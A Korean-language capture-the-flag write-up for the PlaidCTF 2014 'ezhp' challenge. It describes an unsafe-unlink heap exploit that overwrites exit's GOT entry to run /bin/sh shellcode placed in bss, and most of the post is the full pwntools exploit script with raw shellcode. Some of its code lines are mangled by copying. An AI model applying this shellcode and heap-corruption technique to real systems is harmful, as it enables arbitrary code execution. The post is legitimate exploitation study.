1. Reversing

 

군대라는 특성상 ida가 없어서 gdb-peda로 ezhp을 리버싱을 진행했다.

0x804858b같은 경우는 진짜 디스어셈블로는 답이 없어서 함수 실행 후에 리턴값 등을 확인해서 이전 버전의 malloc인 것을 확인 할 수 있었다.

 

2. exploit

 

 매우 간단한 unsafe unlink 문제이다. 해당 문제에는 NX도 걸려있지 않기 때문에 exit함수의 got를 bss로 overwrite하고 bss에 shellcode를 넣어 exit를 실행시켜서 shell을 얻는다.

 

3. slv.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from pwn import *
 
= process('./ezhp')
= ELF('./ezhp')
 
exit_got = e.got['exit']
sbrk_got = e.got['sbrk']
bss_Addr = 0x804a060
shellcode = '''\
\x31\xc0\x50\x68\x2f\
\x2f\x73\x68\x68\x2f\
\x62\x69\x6e\x89\xe3\
\x31\xc9\x89\xca\x6a\
\x0b\x58\xcd\x80\
'''
def add_note(size):
    payload = ''
    payload += '1'
    p.sendline(payload)
    sleep(0.1)
    p.recv()
 
    payload = ''
    payload += str(size)
    p.sendline(payload)
    sleep(0.1)
    p.recv()
 
def remove_note(_id):
    payload = ''
    payload += '2'
    p.sendline(payload)
    sleep(0.1)
    p.recv()
 
    payload = ''
    payload += str(_id)
    p.sendline(payload)
    sleep(0.1)
    p.recv()
 
def change_note(_id, size, data):
    payload =''
    payload += '3'
    p.sendline(payload)
    sleep(0.1)
    p.recv()
 
    payload = ''
    payload += str(_id)
    p.sendline(payload)
    sleep(0.1)
    p.recv()
 
    payload = ''
    payload += str(size)
    p.sendline(payload)
    sleep(0.1)
    p.recv()
 
    payload = ''
    payload += data
    p.sendline(payload)
    sleep(0.1)
    p.recv()
 
def print_note(_id):
    payload = ''
    payload += '4'
    p.sendline(payload)
    sleep(0.1)
    p.recv()
 
    payload = ''
    payload += str(_id)
    p.sendline(payload)
    sleep(0.1)
    p.recv()
 
def exit():
    payload = ''
    payload += '6'
    p.sendline(payload)
 
def main():
    log.info('sbrk_got : ' + hex(sbrk_got))
    log.info('bss_Addr : ' + hex(bss_Addr))
    p.recv()
 
    add_note(16)
    add_note(16)
    add_note(16)
    add_note(16)
    add_note(16)
 
    payload = ''
    payload += 'A'*24
    payload += p32(0x25)
    payload += p32(bss_Addr)
    payload += p32(exit_got-4)
 
    change_note(0100, payload)
 
    remove_note(1)
 
    payload = ''
    payload += p32(bss_Addr)
    payload += p32(bss_Addr)
 
    change_note(2100, payload)
 
    payload = ''
    payload += 'A'*24
    payload += p32(0x25)
    payload += p32(bss_Addr)
    payload += p32(bss_Addr)
 
    change_note(3100, payload)
 
    remove_note(4)
 
    payload = ''
    payload += '\x90'*20
    payload += shellcode
 
    change_note(2100, payload)
    
    
    exit()
    p.interactive() 
        
 
if __name__ == '__main__' :
    main()
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter

 

[깨달은 점]

 

1. unlink취약점을 이용할 때 접근 가능한 주소를 참조할 수 있게끔 진행해야된다.

 위의 사항을 지키지 않으면 접근에러가 뜨면서 종료가 되기 때문에 이 경우에는 두 번에 걸쳐서 진행했다.

 

2. overwrite할 때 got영역 뒷 부분에 stdout이 있는데 해당부분은 건드리지 않게 끔 진행하자.

 이유를 모르는 에러가 뜨는 것을 보고 좌절하고 싶지 않다면....

 

'System > Plaidctf 2014' 카테고리의 다른 글

[PlaidCTF 2014] - kappa - 190706  (0) 2019.07.06

+ Recent posts